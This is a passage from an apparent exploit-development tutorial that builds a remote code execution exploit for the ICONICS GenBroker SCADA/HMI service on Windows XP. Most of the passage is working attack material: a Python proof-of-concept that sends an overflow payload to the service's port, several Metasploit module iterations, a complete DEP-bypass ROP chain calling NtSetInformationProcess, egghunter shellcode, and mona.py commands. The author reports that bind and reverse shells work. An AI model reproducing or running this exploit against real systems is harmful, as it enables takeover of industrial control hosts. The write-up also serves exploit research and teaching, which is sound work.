So essentially with that pointer I was able to control our EIP data call (if we had put 0x00450054 into EAX before our call [EAX + 10]) and change this to an SEH exploit.

The good news is that we can choose an SEH pointer that is ascii and not unicode, the bad news is all modules except for one have safeseh enabled! The one module that does not have safeseh enabled is flagged for rebasing. However, that doesn’t mean that the module is rebased or that we can not find similar pointers amongst other machines. Peter and I compared our possible SEH pointers and we found some in common.  Being that our machines and XP copies are different this potentially means that we could make this exploit generic.

However, after submitting to the Metasploit this proved false and _sinn3r was unable to get code execution as the SEH pointer was rebased on his testing box.

After manually searching through all the unicode pointers in GenBroker.exe I was unable to find one useful that would return to my buffer on the stack.

Back to the drawing board.

 

Many roads to EIP

Although case 12 also indicated a way to potentially get control over EIP, I decided to stick with my current poc for a while, because I’m convinced the payload itself (A’s at this point) might influence the behaviour of the application flow.

So basically, we still may be able to control a different flow in the application by changing parts of the buffer.  It was time to go back a step and look at our memcpy()’s and how different payload would lead to overwriting different parts (and thus leading to a different flow)

I realize I was able to overwrite different pointers if I didn’t use a long buffer of just “A”s. Here are two other flows we can control EIP with. If we look at our call stack when doing the following buffer setups we can successfully control two different flows.

7C27DC7C   FF52 08          CALL DWORD PTR DS:[EDX+8]

buffer = "\x41" * 360
buffer+= "B" * 10000

7C27C9AA   FF52 04          CALL DWORD PTR DS:[EDX+4]

buffer = "\x41" * 360
buffer+= "\xff" * 10000

In each of the calls, we control EDX and our stack setup was different with each flow.

It was time to go back and look at my unicode pointers in GenBroker.exe again and see if I can take advantage of any of them.

 

Solution II – call [edx+8]

If we go the route of call [edx + 8] we can see our stack setup looks a little different this time.

$ ==>    > 7C27DC7F  Ü'|  RETURN to MFC71U.7C27DC7F
$+4      > 00AEE888  ˆè®.
$+8      > 00AEEBF8  øë®.  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
$+C      > 00000002  ...
$+10     > 00AEEBF8  øë®.  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
$+14     > 7C27DC64  dÜ'|  RETURN to MFC71U.7C27DC64 from MFC71U.7C27DC69
$+18     > 00AEEBF8  øë®.  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

Before we had to look for a pivot of +0x0C, however this time around we have a lot more options. Lets take a look at the same pointer we used before.

00450064 . F1FC4400 DD GenBroke.0044FCF1

0044FCF1  |> 8B4C24 0C      MOV ECX,DWORD PTR SS:[ESP+C]             ;  Default case of switch 0044F579
0044FCF5  |. 5F             POP EDI                                  ;  + 0x04
0044FCF6  |. 5E             POP ESI                                  ;  + 0x04
0044FCF7  |. 64:890D 000000>MOV DWORD PTR FS:[0],ECX
0044FCFE  |. 5B             POP EBX                                  ;  + 0x04
0044FCFF  |. 83C4 0C        ADD ESP,0C                      ;  totals + 0x18 with pops
0044FD02  \. C2 0400        RETN 4

Essentially this means we can return to +0x18 on the stack which is our buffer! Lets go ahead and try this out.

We will replace out “A” * 360 with “\x5c\x45” (to take into account our call [EDX + 8] which will point to 0x0045005C).

0045005C   . 32F84400       DD GenBroke.0044F832
00450060   . DBF74400       DD GenBroke.0044F7DB
00450064   . F1FC4400       DD GenBroke.0044FCF1

To stay consistent we will put “\x5c\x45″ * 180 since we are multiplying two bytes instead of our original A’s * 360.

During the memcpy() routines bytes from our buffer are copied onto the stack allowing us to control the size field of another memcpy(). Different sizes resulted in different flows.  Some interesting range of bytes  I came across would result in potentially different flows (\x01 -> \x7f, \x80 -> \xfe,xff)

A bit of toying around I was able to control my call [EDX + 8] all the way onto the stack.

buffer = "\x5c\x45" * 180
buffer+= "A" * 14               #offset to return to venetian code
buffer+= "B" * 6                #reserved for venetian walk
buffer+= "A" * 53               #another memcpy is done here before the next one writen to stack, need to be less than 7f
buffer+= "\x7f" * 8             #control memcpy size for stack to maximize length
buffer+= "B" *  127             #bytes free for sc on the stack
buffer+= "\xfe" * 140           #needs to be over 7f to get to the call edx
buffer+= "B" * 10000

 

We will go ahead and put a break point on the call [EDX + 8] at location 0x7C27DC7C and single step until we hit our buffer.

pic4

Woot! Looks like we land back in our unicode buffer, using a reliable pointer.

We can write some venetian shellcode here to return to our ascii buffer on the stack.

Let’s rerun our code again and insert some venetian code to return to our stack code.

00AEEC88   61               POPAD
00AEEC89   0042 00          ADD BYTE PTR DS:[EDX],AL
00AEEC8C   58               POP EAX
00AEEC8D   0042 00          ADD BYTE PTR DS:[EDX],AL
00AEEC90   C3               RETN

If we single step we now return to a (small) 127 byte buffer on the stack. 127 bytes is not a lot, but it’s enough for an egg hunter.

So I added an egghunter and put a tag before our shellcode. The final layout looks like:

#!/usr/bin/python
# lincoln - lincoln@corelan.be
#
import socket,sys,struct

header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01"
header += "\x00" * 7
opcode = "\xb0\x04"
header2 = "\x00" * 36
header3 = "\x01\x00\x00\x40"

sc = "w00tw00t"
sc+= "\xcc\xcc\xcc\xcc"
sc+= "D" * 1000    

egg = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02"
"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30"
"\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = "\x5c\x45" * 180
buffer+= "A" * 14               #offset to return to venitian code
buffer+= "\x61\x42\x58\x42\xc3" #ventetian walk to egghunter
buffer+= "A" * 53               #another memcpy is done here before the next one writen to stack
buffer+= "\x7f" * 8             #control memcpy size for stack to maximize length
buffer+= egg
buffer+= "B" * (127-len(egg))   #bytes free for sc
buffer+= "\xfe" * 140           #needs to be over 7f to get to the call edx
buffer+= sc
buffer+= "B" * (10000-len(sc))

payload = header + opcode + header2 + header3 + buffer

def sploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1', 38080))
    print "[+] Kill packet sent!\n"
    s.send(payload)
    s.close()

if __name__ == '__main__':
        try:
                sploit()
        except:
                print "error"
                sys.exit(0)

The first thing I did was convert our code into a Meta module and test different payloads.

While I could get Bind/Reverse shells to work, meterpreter would not work (there will be more on this later).

At this time this current code will work on both XP and Windows 2003 with DEP disabled or safeseh DEP (processors that do not support Hardware DEP since it’s enabled ON by default on 2003).

We have reliable code execution, but there are 2 issues :

  • Meterpreter doesn’t work
  • no DEP bypass

 

Target OS selection, DEP Bypass

Because our target is a HMI application, it’s very likely that we need to write an exploit that will work against Windows XP. Although Windows XP was released back in 2003, it still has the biggest market share of all Windows client operating systems. Especially in the Scada world, XP is still the de facto standard for hosting HMI applications.

We realize that in the default configuration of XP, DEP won’t have a big impact on an exploit that targets the Genesis application, but we will still assume DEP was enabled for all applications and services.

So moving forward, I decided to start with XP with DEP enabled for now (skip 2003 server) , and we would revisit the issue with Meterpreter later.

 

Solution III (the last and final one)

If DEP is enabled, we will not be able to use our Venetian shell code (unless we can set up a rop chain using Unicode pointers)

We will need to find another buffer layout, another way to reach code execution.

To this I am going to have to revisit all the tables in GenBroker.exe, and see if there is another function that will allow a different flow.

Also going forward, we will start writing Metasploit code right away since this will be the final module I submit.

After lots of testing and going through each function in the IAT tables I could choose from I finally found something interesting. First lets look at our basic code setup, our skeleton code will look like:

'Windows XP',
{
        'Ret' => "\x70\x45",
        'Max' => 9000,
}

def exploit

	header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
	header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

	sploit  = target['Ret'] * 180   #retn to call + [EAX + 58]
	sploit << "\x7f" * 34           #max buffer + max memcpy()
	sploit << "A" * 128             #buffer on stack 
	sploit << rand_text_alpha(target['Max']-sploit.length)

	connect
	print_status("Sending request. This will take a few seconds...")
	sock.put(header + sploit)

	handler
	disconnect

end

If we take a look at 0x00450070 (and add + 0x08 for our call [EDX + 8]) we see the below IAT address.

00450078   . 90F94400       DD GenBroke.0044F990                     ;  Switch table used at 0044F91B

At 0x44f990 will run through a bunch of functions until we get to:

7C29BC65   E8 CD13FCFF      CALL MFC71U.7C25D037

After we single step through that function we come to:

7C25D037   55               PUSH EBP
7C25D038   8BEC             MOV EBP,ESP
7C25D03A   51               PUSH ECX
7C25D03B   51               PUSH ECX
7C25D03C   53               PUSH EBX
7C25D03D   56               PUSH ESI
7C25D03E   8BF1             MOV ESI,ECX
7C25D040   F646 18 01       TEST BYTE PTR DS:[ESI+18],1
7C25D044   57               PUSH EDI
7C25D045   0F84 7FE80200    JE MFC71U.7C28B8CA
7C25D04B   8B4E 28          MOV ECX,DWORD PTR DS:[ESI+28]
7C25D04E   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]
7C25D051   8D5E 2C          LEA EBX,DWORD PTR DS:[ESI+2C]
7C25D054   8B3B             MOV EDI,DWORD PTR DS:[EBX]
7C25D056   2BF9             SUB EDI,ECX
7C25D058   03C7             ADD EAX,EDI
7C25D05A   837E 08 00       CMP DWORD PTR DS:[ESI+8],0
7C25D05E   8945 F8          MOV DWORD PTR SS:[EBP-8],EAX
7C25D061   0F84 6DE80200    JE MFC71U.7C28B8D4
7C25D067   85FF             TEST EDI,EDI
7C25D069   0F85 D2E80200    JNZ MFC71U.7C28B941
7C25D06F   8B4E 24          MOV ECX,DWORD PTR DS:[ESI+24]
7C25D072   8B01             MOV EAX,DWORD PTR DS:[ECX]
7C25D074   53               PUSH EBX
7C25D075   8D7E 30          LEA EDI,DWORD PTR DS:[ESI+30]
7C25D078   57               PUSH EDI
7C25D079   FF76 20          PUSH DWORD PTR DS:[ESI+20]
7C25D07C   6A 00            PUSH 0
7C25D07E   FF50 58          CALL DWORD PTR DS:[EAX+58]

If we continue to run through this code we end up with an access violation reading [ECX] (which we control)

pic5

if we follow the code until 7C25D07E, we see a call to [EAX+58]. Since EAX is populated from reading [ECX], and there doesn’t seem to be unicode conversion involved, this might be very interesting.

Up until now we have seen the “Good” and the “Bad”, but despite the fact that this looks promising, it’s about to get “ugly”.

 

The ‘problem’ – from call [eax+58] to EIP

Looking at the available options, I decided to try to take advantage of the call [eax+58] inside function CArchive::FillBuffer() (mfc71u.dll).  The CArchive Class, as explained on MSDN, allows the developer to save objects in a permanent binary form. These objects persist after the objects are deleted, and can be reconstructed in memory. The process of making data persistent is called “serialization”.

As result of the allocation issues, our payload appears to have overwritten a function pointer / vtable in the heap, which gets copied onto the stack. When the code inside the FillBuffer() function runs, ESI contains a pointer to the stack. Because of the corruption, at ESI+24, we find a pointer to the heap.  At that location in the heap, there is a pointer into our controlled buffer.

From that point on, a series of dereferences allow us to control the call at 0x7c25D07E.  ([ECX] -> EAX -> [EAX+58])

7C25D06F   > 8B4E 24        MOV ECX,DWORD PTR DS:[ESI+24]
7C25D072   . 8B01           MOV EAX,DWORD PTR DS:[ECX]
7C25D074   . 53             PUSH EBX
7C25D075   . 8D7E 30        LEA EDI,DWORD PTR DS:[ESI+30]
7C25D078   . 57             PUSH EDI
7C25D079   . FF76 20        PUSH DWORD PTR DS:[ESI+20]
7C25D07C   . 6A 00          PUSH 0
7C25D07E   . FF50 58        CALL DWORD PTR DS:[EAX+58]

In normal operation, this routine eventually leads to a call to function MFC71U.#2466 (0x7C286D2D, which is CMemFile::GetBufferPtr()).

There are 2 issues.

First of all, we need to figure out where we want our call to end up.  We have to bypass DEP, so we’ll need some kind of stackpivot that doesn’t just “jmp” to our payload, but rather should return to the first gadget in a rop chain.

Once we figured out what kind of pivot we need, we need to put a pointer at [[ESI+24]], which should eventually lead to running the stackpivot.

In short, based on the instruction flow, we’ll need to find a reliable pointer (ECX) to (pointer – 58) (EAX) to pointer to our stack pivot.

Damn. Finding a pointer to pointer to an instruction is hard enough.

The additional level (depth) and the fact that we need to compensate for the +58 offset doesn’t make things easier. Good luck.

 

Stack layout

First things first. Before trying to find the required pointer, we need to figure out what our options are. The most obvious approach at this point is to look on the stack for either pointers into our controlled buffer, or look for the controlled buffer itself.

This is what the stack looks like right before the CALL [EAX+58] :

0150FABC   7C25D081  Ð%|  RETURN to MFC71U.7C25D081
0150FAC0   00000000  ....
0150FAC4   41414141  AAAA
0150FAC8   0150FCE4  äüP  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0150FACC   0150FCE0  àüP  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0150FAD0   0150FCB4  ´üP  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0150FAD4   0150FCB4  ´üP  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0150FAD8   0150FCB4  ´üP  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0150FADC   00000001  ...
0150FAE0   0150FCB4  ´üP  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

 

The ‘solution’

Mona.py to the rescue!

We control 4 bytes at ESP+8, and we have pointers into our payload below that.  We need to bypass DEP so we should try to return to the 4 bytes at ESP+8. At that location, we’ll have to put in a pointer that would allow us to return into the buffer referenced by one of the pointers on the stack.

Our call [EDX+8] should lead to the first pointer (return to ADD ESP+8).  But because of the offset (+58) and the number of levels deep, it will be very time consuming to do this by hand. Luckily mona.py has a way to automate all of this.

First of all, we need to find all available 8 bytes stackpivots. We will allow OS modules for now, we’ll figure out which ones are good on all versions of XP later on.

!mona stackpivot -n -distance 8,8 -cm rebase=false,os=true

Next, we’ll use the produced file (stackpivot.txt) as input to a recursive find operation, taking the offset into account.

We’ll instruct mona to find all ptr to ptr-58 to ptr to our stackpivots :

!mona find -type file -s "\stackpivot.txt" -cm rebase=false,os=true -x * -offset 88 -level 2 -offsetlevel 2

88 = 0x58

  • Level 2 means it needs to do 2 recursive searches (so take the found pointers and use them as input for another search)
  • Offsetlevel 2 means it will take the pointer to look for in the second iteration and subtract the offset from it
  • -x * : make sure we get all pointers (accesslevel any)

So, the combined stackpivot search and recursive find allowed us to find all possible pointers without a lot of effort.

From the resulting pointers, we picked 0x771a22e4, which is a pointer from oleaut32.dll

At that address, we find 0x7712DCF0 (again from oleaut32.dll)

At 0x7712DCF0+0x58, we find 0x7712DA34, which is our stackpivot (again in oleaut32.dll)

We figured out what location in the buffer the pointer needs to be placed at, so the new metasploit code now looks like this :

def exploit

	header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
	header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

	sploit  = target['Ret'] * 180           #retn to call + [EAX + 58]
	sploit << "\x7f" * 34                   #max buffer + max memcpy()
	sploit << "A" * 32                      #buffer on stack
	sploit << "C" * 4                       #pointer pushed onto stack, will be first ROP, stack pivot 
	sploit << [0x771a22e4].pack('V')        #pointer in ECX which will be ptr -> ptr -> ptr for call [EAX+58]
	sploit << "A" * 88                      #buffer on stack 
	sploit << rand_text_alpha(target['Max']-sploit.length)

	connect
	print_status("Sending request. This will take a few seconds...")
	sock.put(header + sploit)

	handler
	disconnect

end

To make sure this is generic, we need to test our pointer 0x771a22e4 on unpatched and patched XP box since we are using an OS module.

pic6

PTR 3 or Pointer 3 looks like:

7712DA34   5E               POP ESI                                  ; MFC71U.7C25D081
7712DA35   5D               POP EBP
7712DA36   C2 0400          RETN 4

All tests were good, apparently we found a reliable pointer that works on all versions of XP!

So let’s now go ahead and see what happens if we run our code with no break points..

pic7

Woot! All looks like we’re good to go!

 

 

Rip Rop & Roll

DEP Bypass & Stack Pivot

At this point, we control EIP and we can return to a pointer on the stack.  Below that location, we find pointers into our payload, so we’ll need another pivot to return into that payload. Before we look for that stack pivot we might as well go ahead and see what our options are in terms of setting up a ROP chain.

Because we are targeting Windows XP, we have plenty of functions available to bypass / disable DEP.  The most commonly used method in exploits today is VirtualProtect… but we can also use NtSetInformationProcess() or setProcessDEPPolicy() on XP.

Either way, we need to be able to get a reliable pointer to that function to pull off a reliable DEP bypass/disable ROP chain.

In order to find reliable pointers to “interesting” functions that will assist in bypassing / disabling DEP, I ran “!mona ropfunc”

By default, this function will skip OS modules, rebased and/or aslr modules, and returns this list :

 

0x0084f298 : lstrcpynw | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f258 : getlasterror | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f244 : lstrcpyw | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084fb48 : memmove | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f26c : getmodulehandlea | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f2f0 : loadlibraryw | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f2ac : freelibrary | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f2c0 : loadlibraryexw | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084f2c4 : getmodulehandlew | startnull {PAGE_WRITECOPY} [GenBroker.exe]
0x0084fb10 : strncpy | startnull {PAGE_WRITECOPY} [GenBroker.exe]

ASLR: False, Rebase: False, SafeSEH: True, OS: False, v9.21.201.01 (C:\Program Files\Common Files\ICONICS\GenBroker.exe)

 

Hmmm not really encouraging.  I noticed that one of the application modules is located in the windows folder (GenClientU.dll), and thus labeled as an OS module by mistake.  Running a mona ropfunc against that module returns this :

!mona ropfunc -m genclientu.dll

 

0x101620d8 : freelibrary |  {PAGE_READWRITE} [GenClientU.dll]
0x10162020 : getlasterror | ascii {PAGE_READWRITE} [GenClientU.dll]
0x101620e0 : loadlibraryw |  {PAGE_READWRITE} [GenClientU.dll]
0x101620e4 : getmodulehandlew |  {PAGE_READWRITE} [GenClientU.dll]
0x10162888 : memmove |  {PAGE_READWRITE} [GenClientU.dll]

ASLR: False, Rebase: False, SafeSEH: True, OS: True, v9.21.201.02 (C:\WINDOWS\system32\GenClientU.dll)

Still no good. That means that we need to revert to using an OS module.  One of our goals is to make a reliable exploit that would work on all versions of Windows XP means that we’ll have to cross-check all found pointers again & verify if one of the pointers is reliable across the board.

Hardcoding the pointer to a function is not going to work (kernel32/ntdll are not reliable across patch levels), so we have to find something reliable in the IAT of one of the loaded modules. This is going to be manual work.

First, I enumerated all interesting functions in all loaded modules :

!mona ropfunc -m *

I filtered out all interesting functions (NtSetInformationProcess(), VirtualProtect(), setProcessDEPPolicy(), etc), and together with other Corelan Team members, we cross-checked all pointers on various OS versions.

Despite the fact that every module has differences, we still managed to find a static / reliable pointer to NtSetInformationProcess() in advapi32.dll :

0x77dd1404 : ntdll.ntsetinformationprocess |  {PAGE_EXECUTE_READ} [ADVAPI32.dll]
ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5755

We verified that this pointer is reliable on all XP versions… advapi32.dll itself was different, but luckily the base address and location in the IAT was static.

Woot !

We now have a good pointer, but we’ll still need to craft a rop chain using reliable modules only, using the available space.

We won’t be able to use OS modules to do this. Luckily since we discovered GenClientU.dll is not an OS module we will look for our Stack Pivot and ROP chains with that module.

We can go ahead and run

!mona rop –m GenClientU.dll

If we look our stack setup from running our call [EAX + 58] pointer we can see that ESP points to our buffer.

016CFACC   016CFCE0  àül  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

 

If we can find a “POP ESP # RETN” in GenClientU.dll we can return to our buffer. Luckily for us we found one (“rop.txt”).

0x100b257b,  # POP ESP # RETN

Let’s go ahead and add that and rerun, our code now looks like:

def exploit

	header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
	header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

	sploit  = target['Ret'] * 180           #retn to call + [EAX + 58]
	sploit << "\x7f" * 34                   #max buffer + max memcpy()
	sploit << "A" * 32                      #buffer on stack
	sploit << [0x100b257b].pack('V')        # POP ESP # RETN
	sploit << [0x771a22e4].pack('V')        #pointer in ECX which will be ptr -> ptr -> ptr for call [EAX+58]
	sploit << "A" * 84                      #buffer on stack 
	sploit << rand_text_alpha(target['Max']-sploit.length)

	connect
	print_status("Sending request. This will take a few seconds...")
	sock.put(header + sploit)

	handler
	disconnect

end

pic8

Looks like were in business.  We have a reliable pointer to return to the stack via call [eax+58]. We have a way to return into a bigger part of our payload, and we have a static location to call NtSetInformationProcess() which should allow us to disable DEP for the entire process.

Now its time to craft our ROP chain, but we have 2 ‘new’ issues :

  • As you can see in the stack dump above, the available space for the rop chain is limited.
  • On top of that, we still need to find a way to put our shellcode and jump to it after disabling DEP

Anyways, let’s start with the ROP chain itself.

 

The rop chain

For more info on crafting a ROP chain, check Peter’s ROP tutorial

As explained above, the ROP chain needs to set up the arguments for a NtSetInformationProcess() call,  so the exploit can execute code from potentially non-executable memory locations (stack, heap) after that.

The parameters to set up on the stack are :

  • Return address : Value to be generated, indicates where function needs to return to (= location where your shellcode is placed). The pushad will make sure a pointer to our shellcode is placed at the right place on the stack, there’s nothing we need to do to make this happen.
  • NtCurrentProcess() : Static value, set to 0xFFFFFFFF
  • ProcessExecuteFlags : Static value, set to 0x22
  • &ExecuteFlags : Writeable pointer to 0x00000002, we’ll use 7c331d24 (!mona find -type bin -s ‘\x02\x00\x00\x00’ -m mfc71u.dll)
  • sizeOf(ExecuteFlags) : Static value, set to 0x4

Putting everything together, the ROP chain looks like this :

def exploit

	header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
	header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

	rop_chain =
	[
		0x100b257b,  # POP ESP # RETN
		0x771a22e4,  # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
		0x10047355,  # Duplicate, readable, RETN
		0x10047355,  # POP EAX # RETN ** [GenClientU.dll]
		0xffffffde,
		0x7c3b2c65,  # NEG EAX # RETN ** [MSVCP71.dll]
		0x1011e33e,  # XCHG EAX,EDX # RETN
		0x1001ab22,  # POP ECX # RETN ** [GenClientU.dll]
		0x77dd1404,  # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
		0x100136c0,  # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 
		0x1008cfd1,  # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
		0x10080163,  # POP ESI # RETN -> EDI
		0x41414141,
		0x41414141,
		0xffffffff,  # NtCurrentProcess() (EBX)
		0x7c331d24,  # ptr to 0x2 -> ECX 
		0x10090e3d,  # XCHG EAX,EBP # RETN ** [GenClientU.dll]
		0x10047355,  # POP EAX # RETN ** [GenClientU.dll] 
		0xfffffffc,
		0x7c3b2c65,  # NEG EAX # RETN ** [MSVCP71.dll]
		0x100dda84,  # PUSHAD # RETN ** [GenClientU.dll]
	].pack('V*')

	sploit  = target['Ret'] * 180       #retn to call + [EAX + 58]
	sploit << "\x7f" * 34            #max buffer + max memcpy()
	sploit << "B" * 32
	sploit << rop_chain
	sploit << "A" * 20            #buffer on stack
	sploit << rand_text_alpha(target['Max']-sploit.length)

	connect
	print_status("Sending request. This will take a few seconds...")
	sock.put(header + sploit)

	handler
	disconnect

end

This code will disable DEP and allow us to execute the code placed after the ROP chain.

A few more words about the rop chain :

The first 2 pointers in the chain are in fact the ones that will lead to executing the chain.  The second pointer is the one that will lead to initiating the chain via the call [EAX+58], and the first one is the first gadget (POP ESP / RETN).

From our first short analysis It looks like the next 2 pointers (10047355) need to be the same, although it may be possible the first one only needs to be readable. The second one is the one used during the ROP chain, but prior to gaining code execution (ROP) there is some code which will read the 2 pointers. What they are used for is not that important at this stage.

The other pointers are the gadgets that will craft the stack layout and finally call NtSetInformationProcess() before executing code from the stack.

 

Run code…

Nice, we have now disabled DEP for the entire process, and we can run arbitrary code. As indicated earlier, the available space to execute code after the rop chain is very limited.

We only have a few more bytes left after the rop chain.  Luckily, we have 32 bytes at our disposal before the rop chain  (filled with “B” in the script above)

That’s the perfect size for an egghunter. We’ll put the egg (tags + payload) somewhere at the bottom of the payload.  Since we know the entire original packet was read into the heap, the egghunter should be able to  find it, solving the second issue :)

The problem is we can not run the built in checksum to make sure we find our right tag, so we’ll have to make sure the tags are not found anywhere in our stack. A quick and easy solution is using “sploit << “A” * 10 #buffer on stack” after the rop chain to ensure that we don’t put our tag (“w00tw00t”) on the stack.

Let’s go ahead and add our egghunter and set a breakpoint at “JMP EDI” (at the end of the egghunter) right before our payload to make sure it finds it correctly. Our new code will look like this

def exploit

    eggoptions =
    {
        :eggtag => 'w00t',
    }

    hunter, egg = generate_egghunter(payload.encoded, "", eggoptions)

    header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
    header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

    rop_chain =
    [
		0x100b257b,  # POP ESP # RETN
		0x771a22e4,  # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
		0x10047355,  # Duplicate, readable, RETN
		0x10047355,  # POP EAX # RETN ** [GenClientU.dll]
		0xffffffde,
		0x7c3b2c65,  # NEG EAX # RETN ** [MSVCP71.dll]
		0x1011e33e,  # XCHG EAX,EDX # RETN
		0x1001ab22,  # POP ECX # RETN ** [GenClientU.dll]
		0x77dd1404,  # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
		0x100136c0,  # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 
		0x1008cfd1,  # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
		0x10080163,  # POP ESI # RETN -> EDI
		0x41414141,
		0x41414141,
		0xffffffff,  # NtCurrentProcess() (EBX)
		0x7c331d24,  # ptr to 0x2 -> ECX 
		0x10090e3d,  # XCHG EAX,EBP # RETN ** [GenClientU.dll]
		0x10047355,  # POP EAX # RETN ** [GenClientU.dll] 
		0xfffffffc,
		0x7c3b2c65,  # NEG EAX # RETN ** [MSVCP71.dll]
		0x100dda84,  # PUSHAD # RETN ** [GenClientU.dll]
		0x90908aeb,  # jmp back to egghunter
    ].pack('V*')

    sploit  = target['Ret'] * 180       #retn to call + [EAX + 58]
    sploit << "\x7f" * 34            #max buffer + max memcpy()
    sploit << hunter            #egghunter
    sploit << rop_chain
    sploit << "A" * 20            #clear out buffer on stack
    sploit << egg
    sploit << rand_text_alpha(target['Max']-sploit.length)

    connect
    print_status("Sending request. This will take a few seconds...")
    sock.put(header + sploit)

    handler
    disconnect

end

pic10

If we take a look at EDI we can see our dump points to our shellcode! Time for testing!

 

Shellcode time!

Run shellcode

Finally, time to test & see if the module works.

I usually perform 3 type of tests on a new Metasploit module :

  • Execute calc or run messagebox (relatively ‘safe’ shellcode, no network interactions)
  • Bind shell (normal or reverse)
  • Meterpreter (which is what we all want, right ? :)) . Let’s cross fingers & hope the issue with meterpreter is fixed too by changing the way we call our payload… May be wishful thinking, but never say never.

calc

works fine

bind shell

normal : works fine

reverse : works fine

meterpreter

(still keeping fingers crossed at this time)

image

Meterpreter just hangs in msfconsole, and debugger says this :

image

damn ! Meterpreter is still broken.

After reloading everything & stepping thru the payload, we noticed that stage 1 of the shellcode works fine, but stage 2 dies during execution.

The call stack at crash time looks like this :

0:007> k
ChildEBP RetAddr
0172ef2c 7c9556d9 ntdll!RtlQueryProcessHeapInformation+0x385
0172ef88 7c864c5e ntdll!RtlQueryProcessDebugInformation+0x1ee
